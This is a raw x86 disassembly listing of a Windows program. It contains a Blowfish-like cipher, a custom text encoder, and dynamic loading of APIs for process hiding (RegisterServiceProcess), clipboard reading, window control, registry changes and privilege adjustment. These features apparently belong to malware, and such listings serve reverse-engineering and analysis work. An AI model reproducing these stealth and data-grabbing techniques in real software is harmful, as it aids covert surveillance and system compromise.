and edx, esi xor ecx, [eax+ebx*4+9D0h] add ecx, [eax+edx*4+0EB8h] mov edx, [ebp+arg_4] xor ecx, [edi+4] xor ecx, [edx] xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+8] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+0Ch] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+10h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] xor edx, [eax+ebx*4+9D0h] and edi, esi add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+14h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+18h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+1Ch] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+20h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+24h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor edx, [edi+28h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov edx, [eax+edx*4+4E8h] shr edi, 18h xor ebx, ebx add edx, [eax+edi*4] mov bl, byte ptr [ebp+var_4+1] mov edi, [ebp+var_4] xor edx, [eax+ebx*4+9D0h] and edi, esi add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+2Ch] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+30h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+34h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+38h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+3Ch] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] mov eax, [ebp+var_4] xor edx, [edi+40h] xor eax, edx mov edx, [ebp+arg_4] xor ecx, [edi+44h] pop edi mov [edx], eax mov eax, [ebp+arg_0] pop esi pop ebx mov [eax], ecx leave retn 8 sub_4168B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C29 proc near ; CODE XREF: sub_417212+D5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov edi, [ecx] xor ebx, ebx mov [ebp+var_C], edi mov edx, [edi+44h] xor edx, [eax] mov eax, [ecx+4] xor ecx, ecx mov [ebp+var_4], edx mov esi, edx mov cl, byte ptr [ebp+var_4+2] mov bl, dh shr esi, 18h mov ecx, [eax+ecx*4+4E8h] add ecx, [eax+esi*4] mov esi, 0FFh and edx, esi xor ecx, [eax+ebx*4+9D0h] add ecx, [eax+edx*4+0EB8h] mov edx, [ebp+arg_4] xor ecx, [edi+40h] xor ecx, [edx] xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+3Ch] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+38h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+34h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] xor edx, [eax+ebx*4+9D0h] and edi, esi add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+30h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+2Ch] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+28h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+24h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+20h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor edx, [edi+1Ch] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov edx, [eax+edx*4+4E8h] shr edi, 18h xor ebx, ebx add edx, [eax+edi*4] mov bl, byte ptr [ebp+var_4+1] mov edi, [ebp+var_4] xor edx, [eax+ebx*4+9D0h] and edi, esi add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+18h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+14h] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+10h] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] xor ebx, ebx xor edx, [edi+0Ch] xor [ebp+var_4], edx xor edx, edx mov dl, byte ptr [ebp+var_4+2] mov edi, [ebp+var_4] mov bl, byte ptr [ebp+var_4+1] mov edx, [eax+edx*4+4E8h] shr edi, 18h add edx, [eax+edi*4] mov edi, [ebp+var_4] and edi, esi xor edx, [eax+ebx*4+9D0h] add edx, [eax+edi*4+0EB8h] mov edi, [ebp+var_C] xor edx, [edi+8] xor ecx, edx xor edx, edx mov [ebp+var_8], ecx mov ebx, ecx mov dl, byte ptr [ebp+var_8+2] shr ebx, 18h mov edx, [eax+edx*4+4E8h] add edx, [eax+ebx*4] xor ebx, ebx mov bl, ch xor edx, [eax+ebx*4+9D0h] mov ebx, ecx and ebx, esi add edx, [eax+ebx*4+0EB8h] mov eax, [ebp+var_4] xor edx, [edi+4] xor eax, edx mov edx, [edi] xor edx, ecx mov ecx, [ebp+arg_0] pop edi pop esi mov [ecx], edx mov ecx, [ebp+arg_4] pop ebx mov [ecx], eax leave retn 8 sub_416C29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F9C proc near ; CODE XREF: sub_4170D6+76p ; sub_417212+79p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi xor esi, esi push edi mov [ebp+var_8], ecx xor eax, eax loc_416FAC: ; CODE XREF: sub_416F9C+21j mov edx, [ecx] mov edi, dword_441778[eax] mov [eax+edx], edi add eax, 4 cmp eax, 48h jl short loc_416FAC xor eax, eax loc_416FC1: ; CODE XREF: sub_416F9C+41j mov edx, 13Ah loc_416FC6: ; CODE XREF: sub_416F9C+3Aj mov edi, [ecx+4] mov ebx, dword_4417C0[eax] mov [eax+edi], ebx add eax, 4 dec edx jnz short loc_416FC6 cmp eax, 13A0h jl short loc_416FC1 mov ebx, [ebp+arg_0] mov [ebp+var_4], esi loc_416FE5: ; CODE XREF: sub_416F9C+A9j lea eax, [esi+1] cdq idiv [ebp+arg_4] mov eax, [ebp+var_8] movzx edi, byte ptr [esi+ebx] mov eax, [eax] shl edi, 18h and edi, 0FF00FFFFh movzx ecx, byte ptr [edx+ebx] mov edx, [ebp+var_4] add [ebp+var_4], 4 add edx, eax lea eax, [esi+2] mov [ebp+var_C], edx cdq idiv [ebp+arg_4] shl ecx, 10h xor ecx, edi xor eax, eax xor cx, cx mov ah, [edx+ebx] xor eax, ecx mov ecx, eax lea eax, [esi+3] cdq idiv [ebp+arg_4] movzx eax, byte ptr [edx+ebx] or ecx, eax mov eax, [ebp+var_C] xor [eax], ecx lea eax, [esi+4] cdq idiv [ebp+arg_4] cmp [ebp+var_4], 48h mov esi, edx jl short loc_416FE5 xor esi, esi mov [ebp+arg_4], esi mov [ebp+arg_0], esi loc_41704F: ; CODE XREF: sub_416F9C+DCj mov edi, [ebp+var_8] lea eax, [ebp+arg_0] push eax lea eax, [ebp+arg_4] push eax mov ecx, edi call sub_4168B8 mov eax, [edi] mov ecx, [ebp+arg_4] mov [esi+eax], ecx mov eax, [edi] mov ecx, [ebp+arg_0] mov [esi+eax+4], ecx add esi, 8 cmp esi, 48h jl short loc_41704F push 4 pop esi loc_41707D: ; CODE XREF: sub_416F9C+117j mov ebx, 9Dh loc_417082: ; CODE XREF: sub_416F9C+10Fj mov edi, [ebp+var_8] lea eax, [ebp+arg_0] push eax lea eax, [ebp+arg_4] push eax mov ecx, edi call sub_4168B8 mov eax, [edi+4] mov ecx, [ebp+arg_4] mov [esi+eax-4], ecx mov eax, [edi+4] mov ecx, [ebp+arg_0] mov [esi+eax], ecx add esi, 8 dec ebx jnz short loc_417082 cmp esi, 13A4h jl short loc_41707D pop edi pop esi pop ebx leave retn 8 sub_416F9C endp ; =============== S U B R O U T I N E ======================================= sub_4170BC proc near ; CODE XREF: sub_417212+9Ap ; sub_417212+B5p arg_0 = byte ptr 4 xor eax, eax loc_4170BE: ; CODE XREF: sub_4170BC+15j mov ecx, off_442B60 mov cl, [ecx+eax] cmp cl, [esp+arg_0] jz short locret_4170D5 inc eax cmp eax, 40h jl short loc_4170BE xor eax, eax locret_4170D5: ; CODE XREF: sub_4170BC+Fj retn sub_4170BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170D6 proc near ; CODE XREF: sub_415603+1Ep var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push [ebp+arg_4] mov esi, dword_437088 call esi ; dword_437088 add eax, 9 push eax call sub_42B4D7 pop ecx mov ebx, eax push [ebp+arg_4] push ebx call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_0] test eax, eax jz loc_41720C cmp byte ptr [eax], 0 jz loc_41720C push edi mov edi, ebx push [ebp+arg_4] call esi ; dword_437088 lea eax, [eax+eax+12h] push eax call sub_42B4D7 cmp byte ptr [ebx], 0 pop ecx mov [ebp+var_4], eax jz short loc_417134 loc_41712E: ; CODE XREF: sub_4170D6+5Cj inc edi cmp byte ptr [edi], 0 jnz short loc_41712E loc_417134: ; CODE XREF: sub_4170D6+56j xor eax, eax lea ecx, [ebp+var_C] stosd stosd call sub_416882 push [ebp+arg_0] call esi ; dword_437088 push eax lea ecx, [ebp+var_C] push [ebp+arg_0] call sub_416F9C cmp byte ptr [ebx], 0 mov edi, [ebp+var_4] mov esi, ebx jz loc_4171F4 loc_41715F: ; CODE XREF: sub_4170D6+118j movzx eax, byte ptr [esi] shl eax, 18h inc esi movzx ecx, byte ptr [esi] shl ecx, 10h add eax, ecx inc esi movzx ecx, byte ptr [esi] shl ecx, 8 add eax, ecx inc esi movzx ecx, byte ptr [esi] add eax, ecx inc esi mov [ebp+arg_0], eax movzx eax, byte ptr [esi] shl eax, 18h inc esi movzx ecx, byte ptr [esi] shl ecx, 10h add eax, ecx inc esi movzx ecx, byte ptr [esi] shl ecx, 8 add eax, ecx inc esi movzx ecx, byte ptr [esi] add eax, ecx lea ecx, [ebp+var_C] mov [ebp+arg_4], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax inc esi call sub_4168B8 push 6 pop eax loc_4171B6: ; CODE XREF: sub_4170D6+F7j mov ecx, [ebp+arg_4] mov edx, off_442B60 shr [ebp+arg_4], 6 and ecx, 3Fh mov cl, [ecx+edx] mov [edi], cl inc edi dec eax jnz short loc_4171B6 push 6 pop eax loc_4171D2: ; CODE XREF: sub_4170D6+113j mov ecx, [ebp+arg_0] mov edx, off_442B60 shr [ebp+arg_0], 6 and ecx, 3Fh mov cl, [ecx+edx] mov [edi], cl inc edi dec eax jnz short loc_4171D2 cmp byte ptr [esi], 0 jnz loc_41715F loc_4171F4: ; CODE XREF: sub_4170D6+83j and byte ptr [edi], 0 push ebx call sub_4290D0 pop ecx lea ecx, [ebp+var_C] call sub_4168A2 mov eax, [ebp+var_4] pop edi jmp short loc_41720E ; --------------------------------------------------------------------------- loc_41720C: ; CODE XREF: sub_4170D6+2Ej ; sub_4170D6+37j mov eax, ebx loc_41720E: ; CODE XREF: sub_4170D6+134j pop esi pop ebx leave retn sub_4170D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417212 proc near ; CODE XREF: sub_415641+1Ep var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push [ebp+arg_4] mov esi, dword_437088 call esi ; dword_437088 add eax, 0Ch push eax call sub_42B4D7 pop ecx mov ebx, eax push [ebp+arg_4] mov [ebp+var_8], ebx push ebx call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_0] test eax, eax jz loc_41735C cmp byte ptr [eax], 0 jz loc_41735C push edi mov edi, ebx push [ebp+arg_4] call esi ; dword_437088 add eax, 0Ch push eax call sub_42B4D7 cmp byte ptr [ebx], 0 pop ecx mov [ebp+var_4], eax jz short loc_417272 loc_41726C: ; CODE XREF: sub_417212+5Ej inc edi cmp byte ptr [edi], 0 jnz short loc_41726C loc_417272: ; CODE XREF: sub_417212+58j xor eax, eax lea ecx, [ebp+var_10] stosd stosd stosd call sub_416882 push [ebp+arg_0] call esi ; dword_437088 push eax lea ecx, [ebp+var_10] push [ebp+arg_0] call sub_416F9C cmp byte ptr [ebx], 0 mov esi, [ebp+var_4] mov edi, ebx jz loc_417344 loc_41729E: ; CODE XREF: sub_417212+129j and [ebp+arg_0], 0 and [ebp+arg_4], 0 xor edx, edx loc_4172A8: ; CODE XREF: sub_417212+ADj mov al, [edi] inc edi push eax call sub_4170BC pop ecx mov ecx, edx add edx, 6 shl eax, cl or [ebp+arg_0], eax cmp edx, 24h jl short loc_4172A8 xor edx, edx loc_4172C3: ; CODE XREF: sub_417212+C8j mov al, [edi] inc edi push eax call sub_4170BC pop ecx mov ecx, edx add edx, 6 shl eax, cl or [ebp+arg_4], eax cmp edx, 24h jl short loc_4172C3 lea eax, [ebp+arg_0] lea ecx, [ebp+var_10] push eax lea eax, [ebp+arg_4] push eax call sub_416C29 push 18h xor edx, edx pop eax loc_4172F1: ; CODE XREF: sub_417212+FEj mov ebx, 0FFh mov ecx, eax shl ebx, cl push 18h sub eax, 8 pop ecx sub ecx, edx add edx, 8 and ebx, [ebp+arg_4] shr ebx, cl mov [esi], bl inc esi cmp eax, 0FFFFFFF8h jg short loc_4172F1 push 18h xor edx, edx pop eax loc_417317: ; CODE XREF: sub_417212+124j mov ebx, 0FFh mov ecx, eax shl ebx, cl push 18h sub eax, 8 pop ecx sub ecx, edx add edx, 8 and ebx, [ebp+arg_0] shr ebx, cl mov [esi], bl inc esi cmp eax, 0FFFFFFF8h jg short loc_417317 cmp byte ptr [edi], 0 jnz loc_41729E mov ebx, [ebp+var_8] loc_417344: ; CODE XREF: sub_417212+86j and byte ptr [esi], 0 push ebx call sub_4290D0 pop ecx lea ecx, [ebp+var_10] call sub_4168A2 mov eax, [ebp+var_4] pop edi jmp short loc_41735E ; --------------------------------------------------------------------------- loc_41735C: ; CODE XREF: sub_417212+31j ; sub_417212+3Aj mov eax, ebx loc_41735E: ; CODE XREF: sub_417212+148j pop esi pop ebx leave retn sub_417212 endp ; =============== S U B R O U T I N E ======================================= sub_417362 proc near ; CODE XREF: sub_418E0F+Ap push ebx push ebp mov ebp, dword_437070 push esi push edi push offset aKernel32_dll_1 ; "kernel32.dll" call ebp ; dword_437070 mov esi, dword_437030 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_41748E push offset aSeterrormode ; "SetErrorMode" push edi call esi ; dword_437030 push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_457004, eax call esi ; dword_437030 push offset aProcess32first ; "Process32First" push edi mov dword_456F60, eax call esi ; dword_437030 push offset aProcess32next ; "Process32Next" push edi mov dword_456F3C, eax call esi ; dword_437030 push offset aModule32first ; "Module32First" push edi mov dword_456E0C, eax call esi ; dword_437030 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_456DB0, eax call esi ; dword_437030 push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_456DDC, eax call esi ; dword_437030 push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_456E6C, eax call esi ; dword_437030 push offset aSearchpatha ; "SearchPathA" push edi mov dword_456FA8, eax call esi ; dword_437030 push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_457020, eax call esi ; dword_437030 push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_456E1C, eax call esi ; dword_437030 push offset aGetcomputernam ; "GetComputerNameA" push edi mov dword_456DF8, eax call esi ; dword_437030 cmp dword_457004, ebx mov dword_456F90, eax jz short loc_417475 cmp dword_456F60, ebx jz short loc_417475 cmp dword_456F3C, ebx jz short loc_417475 cmp dword_456E0C, ebx jz short loc_417475 cmp dword_456DDC, ebx jz short loc_417475 cmp dword_456E6C, ebx jz short loc_417475 cmp dword_456FA8, ebx jz short loc_417475 cmp dword_457020, ebx jz short loc_417475 cmp dword_456E1C, ebx jz short loc_417475 cmp dword_456DF8, ebx jz short loc_417475 cmp eax, ebx jnz short loc_41747F loc_417475: ; CODE XREF: sub_417362+C5j ; sub_417362+CDj ... mov dword_457024, 1 loc_41747F: ; CODE XREF: sub_417362+111j push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; dword_437030 mov dword_456F74, eax jmp short loc_4174A3 ; --------------------------------------------------------------------------- loc_41748E: ; CODE XREF: sub_417362+1Dj call dword_437170 ; RtlGetLastWin32Error mov dword_457028, eax mov dword_457024, 1 loc_4174A3: ; CODE XREF: sub_417362+12Aj push offset aUser32_dll ; "user32.dll" call dword_437034 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4175F7 push offset aClosewindow ; "CloseWindow" push edi call esi ; dword_437030 push offset aSendmessagea ; "SendMessageA" push edi mov dword_456E80, eax call esi ; dword_437030 push offset aFindwindowa ; "FindWindowA" push edi mov dword_456F9C, eax call esi ; dword_437030 push offset aIswindow ; "IsWindow" push edi mov dword_456F44, eax call esi ; dword_437030 push offset aDestroywindow ; "DestroyWindow" push edi mov dword_456EB0, eax call esi ; dword_437030 push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_457008, eax call esi ; dword_437030 push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_456EF4, eax call esi ; dword_437030 push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_456F24, eax call esi ; dword_437030 push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_456F94, eax call esi ; dword_437030 cmp dword_456E80, ebx mov dword_456E3C, eax jz short loc_417571 cmp dword_456F9C, ebx jz short loc_417571 cmp dword_456F44, ebx jz short loc_417571 cmp dword_456EB0, ebx jz short loc_417571 cmp dword_457008, ebx jz short loc_417571 cmp dword_456EF4, ebx jz short loc_417571 cmp dword_456F24, ebx jz short loc_417571 cmp dword_456F94, ebx jz short loc_417571 cmp eax, ebx jnz short loc_41757B loc_417571: ; CODE XREF: sub_417362+1D1j ; sub_417362+1D9j ... mov dword_45702C, 1 loc_41757B: ; CODE XREF: sub_417362+20Dj push offset aEnumwindows ; "EnumWindows" push edi call esi ; dword_437030 push offset aGetwindowinfo ; "GetWindowInfo" push edi mov dword_456FEC, eax call esi ; dword_437030 push offset aGetwindowthrea ; "GetWindowThreadProcessId" push edi mov dword_456EC8, eax call esi ; dword_437030 push offset aShowwindow ; "ShowWindow" push edi mov dword_456DEC, eax call esi ; dword_437030 push offset aIswindowvisibl ; "IsWindowVisible" push edi mov dword_456ECC, eax call esi ; dword_437030 push offset aGetclassnamea ; "GetClassNameA" push edi mov dword_456EF8, eax call esi ; dword_437030 cmp dword_456FEC, ebx mov dword_457014, eax jz short loc_417602 cmp dword_456EC8, ebx jz short loc_417602 cmp dword_456DEC, ebx jz short loc_417602 cmp dword_456ECC, ebx jz short loc_417602 cmp dword_456EF8, ebx jz short loc_417602 cmp eax, ebx jnz short loc_41760C jmp short loc_417602 ; --------------------------------------------------------------------------- loc_4175F7: ; CODE XREF: sub_417362+150j call dword_437170 ; RtlGetLastWin32Error mov dword_457030, eax loc_417602: ; CODE XREF: sub_417362+26Dj ; sub_417362+275j ... mov dword_45702C, 1 loc_41760C: ; CODE XREF: sub_417362+291j push offset aAdvapi32_dll ; "advapi32.dll" call dword_437034 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4178FE push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; dword_437030 push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_456FC0, eax call esi ; dword_437030 push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_456ED4, eax call esi ; dword_437030 push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_456F64, eax call esi ; dword_437030 push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_456DF0, eax call esi ; dword_437030 push offset aRegdeletekeya ; "RegDeleteKeyA" push edi mov dword_456E64, eax call esi ; dword_437030 push offset aRegclosekey ; "RegCloseKey" push edi mov dword_456E98, eax call esi ; dword_437030 push offset aRegenumkeyexa ; "RegEnumKeyExA" push edi mov dword_456F08, eax call esi ; dword_437030 push offset aRegenumvaluea ; "RegEnumValueA" push edi mov dword_456E68, eax call esi ; dword_437030 push offset aRegqueryinfoke ; "RegQueryInfoKeyA" push edi mov dword_456E04, eax call esi ; dword_437030 cmp dword_456FC0, ebx mov dword_456EC4, eax jz short loc_4176E7 cmp dword_456ED4, ebx jz short loc_4176E7 cmp dword_456F64, ebx jz short loc_4176E7 cmp dword_456DF0, ebx jz short loc_4176E7 cmp dword_456E64, ebx jz short loc_4176E7 cmp dword_456E98, ebx jz short loc_4176E7 cmp dword_456F08, ebx jz short loc_4176E7 cmp dword_456E04, ebx jz short loc_4176E7 cmp eax, ebx jnz short loc_4176F1 loc_4176E7: ; CODE XREF: sub_417362+347j ; sub_417362+34Fj ... mov dword_457034, 1 loc_4176F1: ; CODE XREF: sub_417362+383j push offset aOpenthreadtoke ; "OpenThreadToken" push edi call esi ; dword_437030 push offset aOpenprocesstok ; "OpenProcessToken" push edi mov dword_456E48, eax call esi ; dword_437030 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_456F18, eax call esi ; dword_437030 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_456EDC, eax call esi ; dword_437030 cmp dword_456E48, ebx mov dword_456FB4, eax jz short loc_417741 